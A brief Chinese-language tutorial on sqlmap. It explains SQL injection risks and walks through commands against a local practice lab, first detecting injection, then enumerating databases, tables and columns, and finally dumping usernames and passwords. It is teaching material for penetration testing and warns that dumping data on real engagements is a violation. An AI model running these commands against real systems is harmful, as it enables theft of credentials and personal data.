sqlmap工具是SQL注入自动化测试工具,多平台兼容,使用工具的前提,首先,需要我们有一定的 数据库基础。知道数据库结构,了解增,删,改,查SQL语句
SQL注入属于网站高位漏洞,构造有意图的SQL语句,通过SQL注入可以操控数据库,泄露数据库信息例如个人、企业,账户、号码,密码、身份、年龄、职业、住址、收入、单位、等信息泄露(脱库)事件。
同时SQL注入可以写恶意文件,例如webshell,获取服务器shell。
Get请求SQL注入测试:
打开SQLMAP自动化注入工具,使用 -u 参数,扫描该URL是否存在注入,URL中必须带传参参数
提示:(POST请求的SQL注入测试,可通过Burp进行http的POST数据包抓取,把数据包保存为xxx.txt 文件,在使用sqlmap进行注入测试。)
漏洞靶场 :
例如:sqlmap.py -u http://127.0.0.1:8000/Less-1/?id=2
通过SQLMAP 的扫描,我们可以看到,该URL地址存在几种注入 报错注入,布尔,联合注入,基于时间注入。下面开始读取数据库的信息。
渗透测试中测试到这步,已经可以证实存在SQL注入。不能进行数据库信息下载或读取,这属于违规操作了。
列出数据库:
sqlmap.py -u http://127.0.0.1:8000/Less-1/?id=-2 --dbs
查看当前使用的数据库:
sqlmap.py -u http://127.0.0.1:8000/Less-1/?id=-1 --current-db
指定security数据库并查表:
sqlmap.py -u http://127.0.0.1:8000/Less-1/?id=-2 -D "security" --tables
列出表明和字段名:
sqlmap.py -u http://127.0.0.1:8000/Less-1/?id=-2 -D "security" -T "users" --columns
列出账户,密码:
sqlmap.py -u http://127.0.0.1:8000/Less-1/?id=-1 -D "security" -T "users" -C "username,password" --dump
未知攻,焉知防